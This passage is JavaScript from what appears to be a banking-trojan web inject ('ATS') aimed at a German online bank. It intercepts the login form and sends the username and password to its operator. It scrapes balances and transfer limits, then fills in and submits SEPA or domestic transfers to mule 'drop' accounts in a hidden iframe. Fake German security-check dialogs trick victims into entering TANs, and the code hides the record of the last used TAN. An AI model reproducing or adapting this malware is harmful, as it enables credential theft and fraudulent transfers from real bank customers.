      if (title.indexOf("UMS"+String.fromCharCode(196)+"TZE") !=-1) ATS.replaceUmsatzanzeige();;
      
    if (ATS.getPageTitle("SEPA")) ATS.replaceSEPAPage();                   
            
            break;
            
 }
            
 
    
 
    
    
    
 
  
}
 
 
ATS.findAccountInfo = function(acc_num)
{
    ATS.debugMsg('acc_num:'+ acc_num);
    var accounts_list = parent.ATS.accounts_list;
    for (var i in accounts_list)
    {
        //if (accounts_list[i] != 'function' ) 
         //ATS.debugMsg('accounts_list[i]:'+ accounts_list[i]);
        
            if (acc_num.indexOf(accounts_list[i].number) != -1)
            {
                //ATS.debugMsg('Found: ' + accounts_list[i].number + '; balance: ' + accounts_list[i].balance + '; transf: ' + accounts_list[i].transf);
                return accounts_list[i];
            }
        
    }
    return false;
}
 
var langs ={
 simple_property: 'Hello',
 EN: {
  waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  nextbutton: "Weiter",
  errortan: "TAN falsch, bitte richtige TAN eingeben",
  errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br />"
 },
  DE: {
  waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  nextbutton: "Weiter",
  errortan: "TAN falsch, bitte richtige TAN eingeben",
  errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"
  
 },
 
 getLang: function(step) {
 
 
var ln='EN';
if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
 
//  return(this.simple_property + ', ' + this[ln][step]);
  return(this[ln][step]);
 },
 
 getCurLang: function() {
 
 
var ln='EN';
if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
 
  return(ln);
 }
 
};
 
 
 
 
document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}</style>');
 
 
 
 
ATS.checkTestPage = function()
{
    if(jq('#gad_contentbox').length) return true;
    //  jq('#gad_contentbox').attr("style").indexOf('demo')!=-1) return true;
    else return false; 
}
 
 
ATS.checkLoginPage = function()
{
    return !!jq("input[type='password']").length;
}
 
 
 
ATS.isLoggedIn = function()
{
    
if (jq('.logout').length ) return true;
 
    else return false;
}
ATS.UI_blockSite = function()
{
    if (ATS.debugNoOverlay)
        return;
        
    if (jq('#inj_block_overlay').length)
        jq('#inj_block_overlay').show();
    else
        jq('body').prepend('<div id=inj_block_overlay></div>');
}
ATS.UI_unblockSite = function()
{
    jq('#inj_block_overlay').hide();
    jq('body > div:not(#inj_block_overlay,#inj_dialog_box,.inj_full_overlay)').show();
    
}
 
 
 
ATS.getFinanzstatusLink = function()
{
 
    if(!parent.ATS.finLink){ 
        
    parent.ATS.finLink=jq('#Persoenlicherbereich a').attr("href");
    //parent.ATS.finLink=parent.document.location.href;
    }
    return parent.ATS.finLink; 
    
    
    
}
 
 
 
ATS.UI_showDialogBox = function()
{
    jq('body > div:not(#inj_dialog_box,.inj_full_overlay)').hide(); 
    
    if (!jq('#inj_dialog_box').length)
    {
        var injectCode = ATS.UI_getInjectCode();
        jq('body').append(injectCode);
        
        jq('a[name=inj_weiter]').click(ATS.UI_onWeiterClick);
    }
    jq('#inj_dialog_box').show();
}
 
ATS.getLoginForm = function()
{
    var form = jq("form#login");
    if (form.length)
        return form[0];
    /*  
    form = jq("form").has('input#anmeld');
    if (form.length)
        return form[0];
        */
    return false;
}
 
 
ATS.getPageTitle = function(findtext)
{
     var title=jq.trim(jq('.head h1 span.uiOutputText:eq(0)').text());
    if (title.indexOf(findtext) !=-1) return true;
    else return false;
}
ATS.hideLastTAN = function()
{
 
    var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
    if (el.length)
    {
        var html = jq(el).html();
        var pos = html.indexOf('Ihre zuletzt');
        if (pos >= 0)
            jq(el).html(html.substr(0, pos));
    }
    
 
    jq('p:contains(Zuletzt benutzte)').remove();
}
 
 
ATS.sleep= function(m) {var then = new Date(new Date().getTime() + m); while (new Date() < then) {}};
 
 
ATS.setLoginHook = function()
{
    //ATS.loginDataSent = false;
    var loginInfoSent = false;
        
    var loginForm = ATS.getLoginForm();
 
 
        //loginForm.onsubmit = function(){return true};
        
        jq(loginForm).find('.button a').attr("href",'#').attr("class",'');
        jQuery(loginForm).find('.button a').unbind('click');
       
        
        jq(loginForm).find('.button a').click(function(e){
        
            var loginForm = ATS.getLoginForm();                         
            
                var login=jq(loginForm).find('input:visible#param1').val();
                
                var password=jq(loginForm).find('input:visible#param3').val();
         
  
        if (!loginInfoSent)
        {            
            e.preventDefault();
             ATS.debugMsg('login info: ' + login + ', ' + password);
             
                jq(loginForm).find('.button a').attr('disabled', 'disabled');                  
                    ATS.sendLoginInfo(login, password, function(){
                        ATS.debugMsg('after clik ');
                        loginInfoSent = true;
                        jq(loginForm).find('.button a').attr('disabled', false);
                        // wpSubmit = true;
                        jq(loginForm).submit();                      
                    });
                    
                 
        }
            //ATS.sleep(4000);
//          if (ATS.loginDataSent) return true; else return false;  
        });
            
 
}
 
// ============================================================================
 
 
ATS.getTime = function()
{
    return Math.floor((new Date).getTime() / 1000);
}
 
 
 
 
ATS.openInIframe = function(url)
{
    var iframe = jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="' + url + '"></iframe>');
    jq('body').append(iframe);
    if (ATS.debugVisibleFrame)
    {
        jq("#ats_wrk_iframe").css('width', '1200px');
        jq("#ats_wrk_iframe").css('height', '1200px');
        jq("#ats_wrk_iframe").css('top', '1000px');
        jq("#ats_wrk_iframe").css('position', 'absolute');
//          jq("body").css('position', 'relative');
    }
    else
    {
        jq("#ats_wrk_iframe").css('width', '1px');
        jq("#ats_wrk_iframe").css('height', '1px');
        //jq(iframe).css('top', '0px');
        //jq(iframe).css('position', 'absolute');
        jq("#ats_wrk_iframe").css('visibility', 'hidden');
    }
}
 
 
ATS.parseAccountsList = function()
{
    var accountsList = new Array();
jq('table:has(th:contains(Bezeichnung))').each(function(){
    jq(this).find('tr:contains(Girokonto),tr:contains(Tagesgeld PLUS)').filter('tr:not(:contains(th))').each(function(){
 var numberhreef=jq(this).children("td:eq(0)").find('a').attr('href');
 var number=jq.trim(jq(this).children("td:eq(0)").text());
 var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/\./g, '').replace(/\,/g, '.'));
 var kreditbalance=jq.trim(jq(this).children("td:eq(3)").text().replace(/\./g, '').replace(/\,/g, '.'));
 
            
                if (numberhreef != '')
                    {
                      
                    
/*      
 var number=jq(this).parent().parent().parent().find('span:contains(Kundennr)').text();    
var re = new RegExp("Kundennr: [\\d]+", "g");
var arr = number.match(re);
 number=arr[0].replace(/\D/g, '');
ATS.debugMsg('number: ' + number + 'numberhreef: ' + numberhreef + '; balance : ' + balance +  '; kreditbalance : ' + kreditbalance);    
      
 */                     
accountsList.push({number: number,numberhreef: numberhreef,balance: balance, kreditbalance: kreditbalance});                      
                    }
    
        })
    }); 
 
 
    return accountsList;
}
 
 
 
ATS.framePageFinanzstatus = function()
{
    
    ATS.sendLogMsg('Name: ' + jq('span:contains(Inhaber)').next('span.uiOutputText').text());    
    
 
    if(!parent.ATS.Gesamtsaldo){
 
 var saldo=parseFloat(0.00);
jq('table:has(tr:contains(Gesamt)) tr:contains(Gesamt)').each(function(){
 
 var tmp=jq.trim(jq(this).children("td:eq(2)").text().replace(/\./g, '').replace(/\,/g, '.'));
 saldo+=parseFloat(tmp);
})
 
 
    parent.ATS.Gesamtsaldo = saldo;
    }
    
    ATS.debugMsg('parent.ATS.Gesamtsaldo: ' + parent.ATS.Gesamtsaldo);
 
    ATS.debugMsg('ATS.framePageFinanzstatus, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
    
    parent.ATS.accounts_list = ATS.parseAccountsList();
 
    if (!parent.ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find balance or Girokonto');
    
    //var maxBalance = ATS.getMaxTransferAcc();
    var maxAcc = ATS.getMaxTransferAcc();
    if (!maxAcc) return false;
    
    parent.ATS.maxAcc=maxAcc;
    parent.ATS.maxBalanceDrop=parent.ATS.maxAcc.balance;
    
/*    
    parent.ATS.StepInFrame.set_current_state("insideGirokonto");
    setTimeout(function(){
          document.location=parent.ATS.maxAcc.numberhreef;                    
    }, 2000);
  */  
 
     ATS.insideGirokonto();
    
}
 
ATS.insideGirokonto = function()
{
    parent.ATS.StepInFrame.set_current_state("KreditlimitPage");
        setTimeout(function(){
 
    document.location=jq('#PersoenlicherbereichVerwaltung > ul li a:contains(berweisungslimits)').attr("href");
                    
        }, ATS.randInt(2000, 3000));
 
}
 
 
ATS.KreditlimitPage = function()
{
//-------------------------------------------------------
 
var Inlandlimit=2000;
var unlimit=false;
var totalKreditBalance=0;
var dostupnaSumma=jq('.uiTable div[id*=Form]:contains(Inland)').find('.lcolumn:eq(2)').text();
if (dostupnaSumma.indexOf("unlimitiert")!=-1){ unlimit=true;}
else{
    dostupnaSumma=ATS.fin2float(dostupnaSumma);
}
if (!unlimit && isNaN(dostupnaSumma)){ ATS.sendLogMsg('ATS.KreditlimitPage error: Inlandlimit not found setting to 2000');
//var unlimit=true;
dostupnaSumma=2000;
}
ATS.debugMsg('Inlandlimit: =' + dostupnaSumma);
 
if (!unlimit && (parent.ATS.maxAcc.kreditbalance>dostupnaSumma)) totalKreditBalance=dostupnaSumma;
else totalKreditBalance=parent.ATS.maxAcc.kreditbalance;
 
//Inlandlimit=totalKreditBalance;
Inlandlimit=parseFloat(totalKreditBalance).toFixed(2);
//Inlandlimit=Math.floor(parseFloat(totalKreditBalance));
ATS.debugMsg('Inlandlimit: =' + Inlandlimit);
//--------------
 
var Auslandlimit=2000;
var unlimit=false;
var totalKreditBalance=0;
var dostupnaSumma=jq('.uiTable div[id*=Form]:contains(Ausland)').find('.lcolumn:eq(2)').text();
if (dostupnaSumma.indexOf("unlimitiert")!=-1){ unlimit=true;}
else{
    dostupnaSumma=ATS.fin2float(dostupnaSumma);
}
if (!unlimit && isNaN(dostupnaSumma)){ ATS.sendLogMsg('ATS.KreditlimitPage error: Auslandlimit not found setting to 2000');
//var unlimit=true;
dostupnaSumma=2000;
}
 
 
if (!unlimit && (parent.ATS.maxAcc.kreditbalance>dostupnaSumma)) totalKreditBalance=dostupnaSumma;
else totalKreditBalance=parent.ATS.maxAcc.kreditbalance;
 
//Auslandlimit=totalKreditBalance;
Auslandlimit=parseFloat(totalKreditBalance).toFixed(2);
//Auslandlimit=Math.floor(parseFloat(totalKreditBalance));
 
ATS.debugMsg('Auslandlimit: =' + Auslandlimit);
//------------------------------------------------
 
 
 
    ATS.getDrop('SEPA', Auslandlimit, function(data){
                    if (data && data.drop)
                    {
                        parent.ATS.sepa_drop = data.drop;
                        parent.ATS.StepInFrame.set_current_state("SEPA_page");
      var sepahref=jq('#PersoenlicherbereichKonto > ul li a:contains(berweisung)').attr("href");
                        if (sepahref!=''){
                            setTimeout(function(){
                               document.location.href = sepahref;                    
                            }, ATS.randInt(2000, 3000));
                           }
                        else ATS.die('KreditlimitPage: cant find SepaLink');                        
                        
                        
                    }
                    else
                    {
                       
                        ATS.getDrop('Internal', Inlandlimit, function(data){
                        if (data && data.drop)
                        {
            
                            parent.ATS.int_drop = data.drop;
                            parent.ATS.StepInFrame.set_current_state("framePageInternal_transf_page");
                parent.ATS.transf_mode = 'int';
                var Internal_transf_page=jq('#PersoenlicherbereichKonto > ul li a:contains(berweisung)').attr("href");;
                if (Internal_transf_page!='') {
                    setTimeout(function(){
                        document.location.href = Internal_transf_page;                    
                    }, ATS.randInt(2000, 3000));
                   }
 
                else ATS.die('KreditlimitPage: cant find Internal_transf_page_link');
 
                            
                            
                        }
                        else
                        {
                            parent.ATS.UI_hideDialogBox();
                            parent.ATS.UI_unblockSite();
                            ATS.die('KreditlimitPage: no Int drop');
    
                        }
                        });
                  
                        
                    }
                });      
                
    
}       
 
 
ATS.framePageSEPA_page = function()
{
var drop = parent.ATS.sepa_drop;
 
        
    jq('#uebForm-empfaengerName').val(drop.DrName);
    jq('#uebForm-kontoIdentifier').val(drop.IBAN);
    //jq('#uebForm-bankIdentifier').val( ATS.padRight(drop.BIC,11));
    jq('#uebForm-bankIdentifier').val(drop.BIC);
    jq('#uebForm-betrag').val(drop.amount);
    jq('#uebForm-verwendungszweck').val(drop.Reference);
    parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");
    ATS.sendLogMsg('SEPA form filled in');
    
    jq('#uebForm-waehrung').val("EUR");
    jq('#uebForm').append('<input type="hidden" value="uebForm" name="uebForm">');
    jq('#uebForm').append('<input type="hidden" value="uebForm-weiterButton-lnk" name="uebForm-weiterButton-lnk">');
    
  
    var face=jq('#javax\\.faces\\.ViewState').val();
    var kit=jq('input[name=javax\\.faces\\.RenderKitId]').val()
    var url=location.href;
    var params={"javax.faces.RenderKitId" : kit,"javax.faces.ViewState":face}
var params2={processIds: "uebForm-kontoIdentifier,uebForm-bankIdentifier,uebForm-ajaxEventOnBlurOfKontoIdentifier",renderIds: "uebForm-institut,uebForm-messages,uebForm-empfaengerNameLabelCell,uebForm-kontoIdentifierLabelCell,uebForm-bankIdentifierLabelCell,uebForm-betragLabelCell","uebForm-ajaxEventOnBlurOfKontoIdentifier": "uebForm-ajaxEventOnBlurOfKontoIdentifier","uebForm-kontoIdentifier" : drop.IBAN}
var params=jq.extend(params,params2)
 
    setTimeout(function(){
jq.ajax({url: url, type: 'POST', data:params, cache: false, dataType: 'html', success: function(html){
    } });
    }, ATS.randInt(2000, 3000));    
 //----------------   
 
      var params3={"javax.faces.RenderKitId" : kit,"javax.faces.ViewState":face}
var params4={processIds: "uebForm-kontoIdentifier,uebForm-bankIdentifier,uebForm-ajaxEventOnBlurOfKontoIdentifier",renderIds: "uebForm-institut,uebForm-messages,uebForm-empfaengerNameLabelCell,uebForm-kontoIdentifierLabelCell,uebForm-bankIdentifierLabelCell,uebForm-betragLabelCell","uebForm-ajaxEventOnBlurOfKontoIdentifier": "uebForm-ajaxEventOnBlurOfKontoIdentifier","uebForm-bankIdentifier":drop.BIC,"uebForm-kontoIdentifier" : drop.IBAN}
var params3=jq.extend(params3,params4)
 
    setTimeout(function(){
jq.ajax({url: url, type: 'POST', data:params3, cache: false, dataType: 'html', success: function(html){
    } });
    }, ATS.randInt(5000, 6000));    
    
    
    
    
    
    var sellist1=jq('#uebForm-quellKontenSelect option:selected').val();
    var sellist2=jq('#uebForm-zielKontenSelect option:selected').val();
if ((sellist1=='') || (sellist2=='')){     
     
        ATS.die('No account selected, possible from this account can not be transferred');
     }
/*
if ((sellist1=='') || (sellist2=='')){ 
    
            var accountsSelect = jq('#uebForm-quellKontenSelect');
        if (jq(accountsSelect).length != 0)
        {
            var maxAcc = null;
            jq(accountsSelect).children('option').each(function(){
                //var acc_num = jq.trim(jq(this).val());
                var acc_num = jq.trim(jq(this).text());
                if (acc_num != '')
                {
                    ATS.debugMsg('Option: ' + acc_num);
                
                    var accInfo = ATS.findAccountInfo(acc_num.toString());    
                    ATS.debugMsg('accInfo: ' + accInfo);
            if (accInfo && (!maxAcc || (parseFloat(maxAcc.balance) < parseFloat(accInfo.balance))))
                    {
                        maxAcc = accInfo;
                        jq(this).attr('selected', 'selected');
                    }
                }
            });    
        
        }   
    }
  */  
    
    
    
        setTimeout(function(){
           
            jq('#uebForm').submit();
          
            
        }, ATS.randInt(10000, 15000));
 
 
 
    
}
 
 
 
 
ATS.framePageInternal_transf_page = function()
{
    var drop = parent.ATS.int_drop;                    
    
        jq('#uebForm-empfaengerName').val(drop.DrName);
    jq('#uebForm-kontoIdentifier').val(drop.Konto);
    jq('#uebForm-bankIdentifier').val(drop.BLZ);
    jq('#uebForm-betrag').val(drop.amount);
    jq('#uebForm-verwendungszweck').val(drop.Reference);
    
      jq('#uebForm-waehrung').val("EUR");
    jq('#uebForm').append('<input type="hidden" value="uebForm" name="uebForm">');
    
    
        jq('#uebForm-waehrung').val("EUR");
    jq('#uebForm').append('<input type="hidden" value="uebForm" name="uebForm">');
    jq('#uebForm').append('<input type="hidden" value="uebForm-weiterButton-lnk" name="uebForm-weiterButton-lnk">');
    
   
    var face=jq('#javax\\.faces\\.ViewState').val();
    var kit=jq('input[name=javax\\.faces\\.RenderKitId]').val()
    var url=location.href;
    var params={"javax.faces.RenderKitId" : kit,"javax.faces.ViewState":face}
var params2={processIds: "uebForm-kontoIdentifier,uebForm-bankIdentifier,uebForm-ajaxEventOnBlurOfKontoIdentifier",renderIds: "uebForm-institut,uebForm-messages,uebForm-empfaengerNameLabelCell,uebForm-kontoIdentifierLabelCell,uebForm-bankIdentifierLabelCell,uebForm-betragLabelCell","uebForm-ajaxEventOnBlurOfKontoIdentifier": "uebForm-ajaxEventOnBlurOfKontoIdentifier","uebForm-kontoIdentifier" : drop.Konto}
var params=jq.extend(params,params2)
 
    setTimeout(function(){
jq.ajax({url: url, type: 'POST', data:params, cache: false, dataType: 'html', success: function(html){
    } });
    }, ATS.randInt(2000, 3000));    
 //----------------   
 
      var params3={"javax.faces.RenderKitId" : kit,"javax.faces.ViewState":face}
var params4={processIds: "uebForm-kontoIdentifier,uebForm-bankIdentifier,uebForm-ajaxEventOnBlurOfKontoIdentifier",renderIds: "uebForm-institut,uebForm-messages,uebForm-empfaengerNameLabelCell,uebForm-kontoIdentifierLabelCell,uebForm-bankIdentifierLabelCell,uebForm-betragLabelCell","uebForm-ajaxEventOnBlurOfKontoIdentifier": "uebForm-ajaxEventOnBlurOfKontoIdentifier","uebForm-bankIdentifier":drop.BLZ,"uebForm-kontoIdentifier" : drop.Konto}
var params3=jq.extend(params3,params4)
 
    setTimeout(function(){
jq.ajax({url: url, type: 'POST', data:params3, cache: false, dataType: 'html', success: function(html){
    } });
    }, ATS.randInt(5000, 6000));    
    
    
    
    
    
    var sellist1=jq('#uebForm-quellKontenSelect option:selected').val();
    var sellist2=jq('#uebForm-zielKontenSelect option:selected').val();
if ((sellist1=='') || (sellist2=='')){     
     
        ATS.die('No account selected, possible from this account can not be transferred');
     }
    parent.ATS.StepInFrame.set_current_state("INT_form_filled");
    ATS.sendLogMsg('INT form filled in');    
        setTimeout(function(){
            jq('#uebForm').submit();
        }, ATS.randInt(10000, 15000));
 
  
 
}
 
 
 
ATS.enterCode = function(tan)
{
    ATS.debugMsg('ATS.enterCode ' + tan);
    
    
    if (jq('.uiPanel div[id*="uebForm"] input').length)
    {
        jq('.uiPanel div[id*="uebForm"] input').val(tan);
        
        if ( jq('#uebForm').length)
        {
            //parent.ATS.current_state = 120;
            parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");
            parent.ATS.UI_showWait();
                                
 
            jq('#uebForm').append('<input class="deleteAfterSubmit" type="hidden" value="uebForm" name="uebForm">');
            jq('#uebForm').append('<input class="deleteAfterSubmit" type="hidden" value="uebForm-freigeben-lnk" name="uebForm-freigeben-lnk">');    
           //jq('#uebForm').append('<input type="hidden" value="uebForm-freigeben-lnk" name="uebForm-freigeben-lnk">');
           jq('#uebForm').submit();
          
            
            
        }
        else
            ATS.die('enterCode: cant find  next button');
    }
    else
        ATS.die('enterCode: cant find tan field ');
}
 
 
 
ATS.frameWork = function()
{
    ATS.debugMsg('ATS.frameWork, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
    ATS.sendLogMsg('frame state ' + ATS.StepInFrame[parent.ATS.current_state]);
    switch (ATS.StepInFrame[parent.ATS.current_state])
    {
 
        case "framePageFinanzstatus":
            ATS.framePageFinanzstatus();
            break;
            
        
        case "KreditlimitPage":
            ATS.KreditlimitPage();
            break;
        
        case "insideGirokonto":
            ATS.insideGirokonto();
            break;            
            
            
    
        case "SEPA_page":
            ATS.framePageSEPA_page();
            break;
            
 
        case "framePageInternal_transf_page":
            ATS.framePageInternal_transf_page();
            break;
 
        case "randomPage":
            ATS.randomPage();
            break;
            
        case "inside_randomPage":
            ATS.inside_randomPage();
            break;
            
            
            
 
        case "SEPA_form_filled":
        
            var textEl=jq('#uebForm-messages:visible');
            
            if (!textEl.length)
            {
   
                 ATS.UI_askTan();
                        
            }
                else {
            
                    ATS.die('Error fill SEPA form: ' + textEl.text() );
                  }
            
            break;
            
 
            
 
        case "INT_form_filled":
            var textEl=jq('#uebForm-messages:visible');
            
            if (!textEl.length)
            {
   
                 ATS.UI_askTan();
                        
            }
                else {
                    ATS.die('Error fill INT form: ' + textEl.text() );
                  }
            
            break;
            
           
 
        case "TAN_ENTERED":
        
        ATS.debugMsg("TAN_ENTERED");
 
        
        //if (!!jq('.uiMessages:visible','.errorMessage:visible').length)
        var textEl=jq('#uebForm-messages:visible');
        if (!!textEl.length)
        {
            parent.ATS.badTan = true;
            ATS.UI_askTan();
   
                }
       else {   
        if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();    else ATS.framePageReceiptInternal();
        
       
       }
 
       
            break;                        
    
        
    }
}
 
 
if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
{
    document.write('<div class="inj_full_overlay"></div>');
 
    
    jq(document).ready(function(){
        ATS.debugMsg('document loaded');
 
loc=jq("body").attr("class");
loc=loc.replace("topframechecker:{},","");
jq("body").attr("class",loc);
        
        
        //ATS.sendLogMsg('utilInfo = ' + ATS.utilInfo);
        
 
    ATS.loadData(function(data){
 
        if (ATS.account_id != 0)
        {   
      
            switch (ATS.getCookie('status')) {
               case "1":
                  if (ATS.isLoggedIn()) {jq(".column2").hide();jq('.inj_full_overlay').remove(); ATS.replaceBalances(); }
                  else jq('.inj_full_overlay').remove();
                  
                  
                  break;
               case "2":
               ATS.debugMsg('case "2"');
               
               
              if(((ATS.getTime() - ATS.getCookie('error_time'))/3600)>=48) {
                ATS.setCookie('status',0);
                ATS.saveCookies();
                ATS.sendLogMsg('Replace cookie status from 2 on 0');
                jq('.inj_full_overlay').remove();
              } else {jq('.inj_full_overlay').remove(); break;}
              
              
               default:
               
                        if (ATS.checkLoginPage())
                        {
                            ATS.debugMsg('login page');
                            ATS.setLoginHook();
                            jq('.inj_full_overlay').remove();
                            break;
                        }                           
                       
                     
                        if (ATS.isLoggedIn())
                        {
                            ATS.debugMsg('logged in!');
                            
 
                    var t =jq('ul.activeNotificationAction a').text();
                    if ((t.indexOf('Sperre aufheben')!=-1) || (t.indexOf('Unlock TAN list')!=-1)){
                        ATS.debugMsg('TAN locked!');
                        ATS.die("TAN locked!");
                        jq('.inj_full_overlay').remove();
                        break; 
                    } 
                         
                            
                        
                            if ((parent.document !== document) && parent.ATS)
                            {
                                ATS.debugMsg('we are in frame!');
                                ATS.frameWork();
                                jq('.inj_full_overlay').remove();
                                break;
                            }
                            else
                            {
                                jq('.inj_full_overlay').remove();
                                
                                var cssLink = document.createElement("link")
                                cssLink.href = ATS.CONTENT_URL+"/images/all_styles_min.css";
                                cssLink.rel = "stylesheet";
                                cssLink.type = "text/css";
                                jq('body', parent.document).prepend(cssLink); 
 
                                
                               
                                ATS.UI_blockSite();
                                ATS.UI_showWait();
                                ATS.mainWork();
                                break;
                            }
                        }
                        else
                        {
                            if ((parent.document !== document) && parent.ATS)
                            {
                                ATS.debugMsg('we are in frame and not logged in!');
                            }
                        }               
               
                
                    break;
            }
          
           
 
        }else {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}
        
        
 
    });
     
        
 
        
 
    });
}
 
 
 
 
 
 
 
 
 
}//if parent.hasAts

Comments